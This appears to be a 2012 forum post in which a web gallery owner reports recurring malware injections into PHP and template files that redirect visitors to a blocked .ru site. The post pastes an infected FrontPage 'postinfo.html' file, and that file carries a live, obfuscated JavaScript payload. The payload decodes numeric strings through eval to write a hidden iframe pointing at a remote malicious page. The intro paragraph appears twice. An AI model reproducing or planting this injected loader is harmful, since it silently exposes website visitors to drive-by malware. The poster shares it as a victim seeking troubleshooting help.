Show Posts
1
Discussion & Troubleshooting / Malware infection
« on: May 24, 2012, 08:36:00 PM »
Hello
I have a problem, my gallery from time to time malware attack.
page_footer.php files, page_header.php, index.php, login.php, and the template index.html header.html, footer.html add the code.
Osttanio contributed by forwarding to:
Page rolyjyl.ru has been reported as a party at risk, and was blocked by security settings.
www.fotografie.malopolska.pl
also added a file
I have a problem, my gallery from time to time malware attack.
page_footer.php files, page_header.php, index.php, login.php, and the template index.html header.html, footer.html add the code.
Osttanio contributed by forwarding to:
Page rolyjyl.ru has been reported as a party at risk, and was blocked by security settings.
www.fotografie.malopolska.pl
also added a file
Code: [Select]
<html>
<head>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<title> Web Posting Information </title>
</head>
<body><!--d93065--> <script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f55f76f69f68f58f69f76f4f72f75f5f57f69f75f68f74f8f15f4f70f62f70f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f55f76f69f68f58f69f76f4f72f75f5f57f69f75f68f74f8f15f4f70f62f70f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];}r=String;z=((e)?h:"");for(;567!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);}if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script><!--/d93065-->
<!-- postinfo.html version 0.100>
<!--
This file allows users to post files to their web with the Web Publishing Wizard or FrontPad, using the same username and password they would
use if they were authoring with the FrontPage Explorer and Editor.
The values below are automatically set by FrontPage at installation
time. Normally, you do not need to modify these values, but in case
you do, the parameters are as follows:
'BaseURL' is the URL for your web server.
'DefaultPage' is the name of the default (home) page name
for your web.
'XferType' specifies that the FrontPage server extensions have been
installed on this web. This value should not be changed.
'FPShtmlScriptUrl', 'FPAuthorScriptUrl', and 'FPAdminScriptUrl' specify
the relative urls for the scripts that FrontPage uses for remote
authoring. These values should not be changed.
'version' identifies the version of the format of this file, and
should not be changed.
--><!-- WebPost
version="0.100"
BaseUrl="http://marcinz.webd.pl"
XferType="FrontPage"
DefaultPage="index.htm"
FPShtmlScriptUrl="_vti_bin/shtml.exe/_vti_rpc"
FPAuthorScriptUrl="_vti_bin/_vti_aut/author.exe"
FPAdminScriptUrl="_vti_bin/_vti_adm/admin.exe"
-->
<p><!--webbot bot="PurpleText"
preview="This page is created in the root directory of your FrontPage web when FrontPage is installed. It contains information that allows users to edit pages in your web using the Microsoft Web Publishing Wizard or programs which use the Microsoft Web Publishing Wizard such as FrontPad using the same username and password they would use if they were authoring with Microsoft FrontPage. If you do not want to allow users to edit files on this web using tools other than Microsoft FrontPage, you can delete this file."
--></p>
<h1>Web Publishing Information </h1>
<p>The HTML comments in this page contain the configurationinformation
that allows users to edit pages in your web using the Microsoft
Web Publishing Wizard or programs which use the Microsoft Web
Publishing Wizard such as FrontPad using the same username and
password they would use if they were authoring with Microsoft
FrontPage. Please refer to the Microsoft's Internet SDK for more
information on the Web Publishing Wizard APIs. </p>
</body>
</html>